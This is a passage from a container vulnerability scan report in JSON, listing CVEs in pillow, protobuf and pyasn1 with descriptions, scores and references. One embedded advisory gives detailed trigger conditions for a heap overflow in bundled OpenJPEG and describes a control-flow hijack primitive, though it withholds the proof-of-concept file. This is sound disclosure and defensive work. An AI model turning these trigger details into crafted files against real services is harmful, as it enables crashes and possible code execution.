"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://github.com/advisories/GHSA-mrfp-p49p-3hf2", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7", "https://github.com/python-pillow/Pillow/pull/10093", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2", "https://linux.oracle.com/cve/CVE-2026-96640.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-96640", "https://www.cve.org/CVERecord?id=CVE-2026-96640" ], "PublishedDate": "2026-10-21T21:20:32.357Z", "LastModifiedDate": "2026-10-28T02:17:07.99Z" }, { "VulnerabilityID": "CVE-2026-96642", "VendorIDs": [ "GHSA-3j72-p6qg-6xp7" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96642", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0929223bad7921767612c861d94de75594e6611a25c6e8dfc5cf50663a3c6575", "Title": "pillow: Pillow: Denial of Service via negative archive member size in TarIO", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96642", "https://advisory.echohq.com/cve/CVE-2026-96642", "https://github.com/advisories/GHSA-3j72-p6qg-6xp7", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d", "https://github.com/python-pillow/Pillow/pull/10012", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7", "https://nvd.nist.gov/vuln/detail/CVE-2026-96642", "https://www.cve.org/CVERecord?id=CVE-2026-96642" ], "PublishedDate": "2026-10-21T21:20:32.65Z", "LastModifiedDate": "2026-10-30T17:17:32.24Z" }, { "VulnerabilityID": "CVE-2026-96643", "VendorIDs": [ "GHSA-g4qv-2jxx-769h" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96643", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2cdc4cdbf4b84cff8671948a3f7c5b219ec5903ec70e0f4c847c56989b590ebe", "Title": "pillow: pillow: Denial of Service via repeated EXIF headers", "Description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96643", "https://advisory.echohq.com/cve/CVE-2026-96643", "https://github.com/advisories/GHSA-g4qv-2jxx-769h", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c", "https://github.com/python-pillow/Pillow/pull/10073", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h", "https://nvd.nist.gov/vuln/detail/CVE-2026-96643", "https://www.cve.org/CVERecord?id=CVE-2026-96643" ], "PublishedDate": "2026-10-21T21:20:32.797Z", "LastModifiedDate": "2026-10-27T14:26:51.563Z" }, { "VulnerabilityID": "CVE-2026-96644", "VendorIDs": [ "GHSA-9v9v-9qvf-h2hj" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96644", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:61a0b4d1d18893f248786a9a4db9effa6aa5c976b223238658897850f2908166", "Title": "pillow: Pillow: Denial of Service via out-of-bounds read in metafile parser", "Description": "Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96644", "https://advisory.echohq.com/cve/CVE-2026-96644", "https://github.com/advisories/GHSA-9v9v-9qvf-h2hj", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7", "https://github.com/python-pillow/Pillow/pull/10120", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj", "https://nvd.nist.gov/vuln/detail/CVE-2026-96644", "https://www.cve.org/CVERecord?id=CVE-2026-96644" ], "PublishedDate": "2026-10-21T21:20:32.943Z", "LastModifiedDate": "2026-10-28T19:19:28.633Z" }, { "VulnerabilityID": "CVE-2026-96778", "VendorIDs": [ "GHSA-g7cr-3p24-7wf7" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96778", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a3fc6bf5a7f75bd3af82642a2421e647661f98f1613dfe553dceac3203c2499a", "Title": "pillow: pillow: Arbitrary code execution via JPEG encoder buffer overflow", "Description": "Pillow is a Python imaging library. From 9.4.0 until 13.0.0, ImagingJpegEncode() in src/libImaging/JpegEncode.c can call jpeg_write_marker() for a JPEG COM comment when an ICC profile has exactly filled the 65536-byte encoder buffer. libjpeg writes one byte before checking the exhausted free_in_buffer counter, which then wraps and permits the attacker-controlled comment and subsequent compressed image data to overwrite adjacent heap memory. Re-saving an untrusted image as JPEG while preserving its ICC profile and forwarded comment can crash the process and may enable code execution in suitable runtime and heap layouts. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96778", "https://advisory.echohq.com/cve/CVE-2026-96778", "https://github.com/advisories/GHSA-g7cr-3p24-7wf7", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/02561b8dc6117d5670d4b469fecdd02c70854f9b", "https://github.com/python-pillow/Pillow/pull/10124", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g7cr-3p24-7wf7", "https://nvd.nist.gov/vuln/detail/CVE-2026-96778", "https://www.cve.org/CVERecord?id=CVE-2026-96778" ], "PublishedDate": "2026-10-21T21:20:33.093Z", "LastModifiedDate": "2026-10-28T02:17:08.253Z" }, { "VulnerabilityID": "GHSA-78g4-xqwv-q3g8", "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.14/site-packages/pillow-12.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.2.0", "UID": "7644f2367ed4c564" }, "InstalledVersion": "12.2.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-78g4-xqwv-q3g8", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0ee8674f0f689e48044d157a57b0c094ef62fa9a62139070ea101d7ab0321ce3", "Title": "Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()", "Description": "### Summary\n\nEvery Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219\n\nBecause the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings.\n\nI am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users.\n\nNote the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure.\n\n### Details\n\n## Affected wheels\n\nFrom `.github/dependencies.json` (`openjpeg`) at each tag:\n\n| Pillow | bundled OpenJPEG | status |\n|---|---|---|\n| 10.4.0 | 2.5.2 | safe |\n| 11.0.0 | 2.5.2 | safe |\n| **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** |\n| **12.0.0 … 12.3.0** | **2.5.4** | **affected** |\n\nConfirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` → `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06.\n\n## The defect\n\n`src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`:\n\n```c\nOPJ_UINT32 l_current_tile_part =\n l_cstr_index-\u003etile_index[p_j2k-\u003em_current_tile_number].current_tpsno;\nl_cstr_index-\u003etile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos;\nl_cstr_index-\u003etile_index[...].tp_index[l_current_tile_part].end_pos =\n l_current_pos + p_j2k-\u003em_specific_param.m_decoder.m_sot_length + 2;\n```\n\n`tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker.\n\nThe correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index \u0026\u0026 l_current_tile_part \u003c nb_tps)`. One writer checked, its sibling not.\n\nReached by giving the codestream a *valid* TLM marker — so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing — while setting `TNsot = 0` in every SOT, which keeps the TLM \"valid\" and lets `TPsot` walk past the allocation.\n\n## Patch status\n\nFixed upstream in `91d08b11` (\"Fix heap buffer overlfow in opj_j2k_read_sod\", 2026-02-10).\n\nThe newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* — the fix is **in no release, 8 months on**.\n\n## Suggested remediation\n\n1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it — three lines, identical to a guard already present in the same file.\n2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code.\n3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot.\n\n## Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply\n\n`Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway.\n\nI verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`.\n\nThat is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume.\n\n### Proof of concept\n\nASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`:\n\n```\n==766332==ERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\n #0 opj_j2k_read_sod j2k.c:5086\n #1 opj_j2k_read_tile_header j2k.c:9912\n #2 opj_read_tile_header openjpeg.c:575\n #3 j2k_decode_entry src/libImaging/Jpeg2KDecode.c:793\n #4 ImagingJpeg2KDecode src/libImaging/Jpeg2KDecode.c:949\n #5 _decode src/decode.c:132\nlocated 8 bytes to the right of a 24-byte region allocated by\n opj_j2k_build_tp_index_from_tlm j2k.c:8939\n```\n\nFrames 3–5 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure.\n\nI have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready.\n\nNo disclosure deadline from me; I will not publish anything while this is being worked on.\n\n### Impact\n\nAny application that calls `Image.open()` / `im.load()` on an image it did not produce — the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines — can be made to perform an out-of-bounds heap write by supplying one crafted file.\n\n**Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker.\n\n**Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides — an ordinary busy heap — the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls one (event.c:136):\n\n```\nrip 0x4000 \u003c- value chosen by the attacker's file layout\nrsi 0x3ff2 \u003c- m_error_data, written by the same walk\n```\n\nShifting the codestream with a COM marker moves `rip` with it (`0x16ce` → `0x4000`), so the instruction pointer is attacker-**chosen** rather than incidentally invalid. A benign control image leaves the same groomed heap untouched.\n\nTo be explicit about what I did not do: I have **not** built a working exploit. That additionally needs remote heap grooming and an ASLR defeat, and I attempted neither. I am reporting a controlled control-flow primitive, not a finished chain. The CVSS AC:H reflects that.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-78g4-xqwv-q3g8", "https://github.com/advisories/GHSA-78g4-xqwv-q3g8", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/5f8114c8096b181fae493543cd3837d9f9a971cc", "https://github.com/python-pillow/Pillow/commit/d3470c327840f4c216a1610f30e7091dfd0b97c0", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-78g4-xqwv-q3g8", "https://github.com/uclouvain/openjpeg/commit/91d08b11a72764f6d199f32fa0c1b1abd4edc2ad", "https://osv.dev/vulnerability/OSV-2025-219" ], "PublishedDate": "2026-10-22T17:01:08Z", "LastModifiedDate": "2026-10-22T17:01:08Z" }, { "VulnerabilityID": "CVE-2026-0994", "VendorIDs": [ "GHSA-7gcm-g887-7qv7" ], "PkgName": "protobuf", "PkgPath": "usr/local/lib/python3.14/site-packages/protobuf-6.32.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/protobuf@6.32.0", "UID": "bd932f1002130659" }, "InstalledVersion": "6.32.0", "FixedVersion": "6.33.5, 5.29.6", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-0994", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ad4148db5c788db5e6093128c837db350713a2daf7a46e146cc80ac288f02cb2", "Title": "python: protobuf: Protobuf: Denial of Service due to recursion depth bypass", "Description": "A denial-of-service (DoS) vulnerability exists in google.protobuf.json_format.ParseDict() in Python, where the max_recursion_depth limit can be bypassed when parsing nested google.protobuf.Any messages.\n\nDue to missing recursion depth accounting inside the internal Any-handling logic, an attacker can supply deeply nested Any structures that bypass the intended recursion limit, eventually exhausting Python’s recursion stack and causing a RecursionError.", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "cbl-mariner": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:16174", "https://access.redhat.com/errata/RHSA-2026:3059", "https://access.redhat.com/errata/RHSA-2026:3094", "https://access.redhat.com/errata/RHSA-2026:3095", "https://access.redhat.com/errata/RHSA-2026:3097", "https://access.redhat.com/errata/RHSA-2026:3218", "https://access.redhat.com/errata/RHSA-2026:3219", "https://access.redhat.com/errata/RHSA-2026:3220", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:3958", "https://access.redhat.com/errata/RHSA-2026:3959", "https://access.redhat.com/errata/RHSA-2026:61627", "https://access.redhat.com/errata/RHSA-2026:61629", "https://access.redhat.com/errata/RHSA-2026:8746", "https://access.redhat.com/errata/RHSA-2026:8747", "https://access.redhat.com/errata/RHSA-2026:8748", "https://access.redhat.com/security/cve/CVE-2026-0994", "https://advisory.echohq.com/cve/CVE-2026-0994", "https://bugzilla.redhat.com/2432398", "https://bugzilla.redhat.com/show_bug.cgi?id=2432398", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0994", "https://errata.almalinux.org/9/ALSA-2026-3095.html", "https://errata.rockylinux.org/RLSA-2026:3095", "https://github.com/protocolbuffers/protobuf", "https://github.com/protocolbuffers/protobuf/commit/5ebddcb1bcbe51d1fe323baa145e85f4f23128cf", "https://github.com/protocolbuffers/protobuf/commit/d2b001626d137c62dfee6c88c87324102531868b", "https://github.com/protocolbuffers/protobuf/issues/25070", "https://github.com/protocolbuffers/protobuf/pull/25239", "https://github.com/protocolbuffers/protobuf/pull/25586%20%2833.x%29", "https://github.com/protocolbuffers/protobuf/pull/25587%20%2829.x%29", "https://linux.oracle.com/cve/CVE-2026-0994.html", "https://linux.oracle.com/errata/ELSA-2026-3095.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-0994", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-0994.json", "https://ubuntu.com/security/notices/USN-8063-1", "https://ubuntu.com/security/notices/USN-8063-2", "https://www.cve.org/CVERecord?id=CVE-2026-0994" ], "PublishedDate": "2026-01-23T15:16:06.84Z", "LastModifiedDate": "2026-09-01T13:18:07.523Z" }, { "VulnerabilityID": "CVE-2026-119194", "VendorIDs": [ "GHSA-fm9c-5rcf-2q5p" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.14/site-packages/pyasn1-0.6.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "8155deb450ab3554" }, "InstalledVersion": "0.6.4", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119194", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:64aec9ef2d754a36ec96b48a91a93bd8934fae73df9ce89697e004818082fea8", "Title": "pyasn1: pyasn1: Denial of Service via hash collisions in schemaless decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119194", "https://advisory.echohq.com/cve/CVE-2026-119194", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p", "https://nvd.nist.gov/vuln/detail/CVE-2026-119194", "https://www.cve.org/CVERecord?id=CVE-2026-119194" ], "PublishedDate": "2026-10-29T20:17:30.48Z", "LastModifiedDate": "2026-11-03T17:18:03.863Z" }, { "VulnerabilityID": "CVE-2026-119195", "VendorIDs": [ "GHSA-9m75-vc3g-4x39" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.14/site-packages/pyasn1-0.6.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "8155deb450ab3554" }, "InstalledVersion": "0.6.4", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119195", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a991fe1cbe956e416b1120e833711035aefdb4f0598a0627cf4b30d57007ff8e", "Title": "pyasn1: pyasn1: Denial of Service via quadratic processing of fragmented ASN.1 data", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, constructed string and indefinite-length ANY decoding repeatedly concatenates each fragment onto a growing bytes value. Attacker-controlled BER or CER data can use many constructed OCTET STRING or character-string fragments. DER rejects constructed OCTET STRING without a schema, but accepts its definite-length form when asn1Spec selects univ.OctetString; it also accepts constructed character strings such as UTF8String without a schema, even though those encodings are not valid DER. The separate indefinite-length ANY path is reachable in BER and CER when asn1Spec selects univ.Any; DER rejects indefinite lengths. OctetStringPayloadDecoder uses growing header concatenation and AnyPayloadDecoder.indefLenValueDecoder uses growing chunk concatenation, repeatedly copying an increasing prefix and causing quadratic work. A sufficiently fragmented value can occupy decoding workers and cause CPU exhaustion without confidentiality or integrity impact. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119195", "https://advisory.echohq.com/cve/CVE-2026-119195", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9", 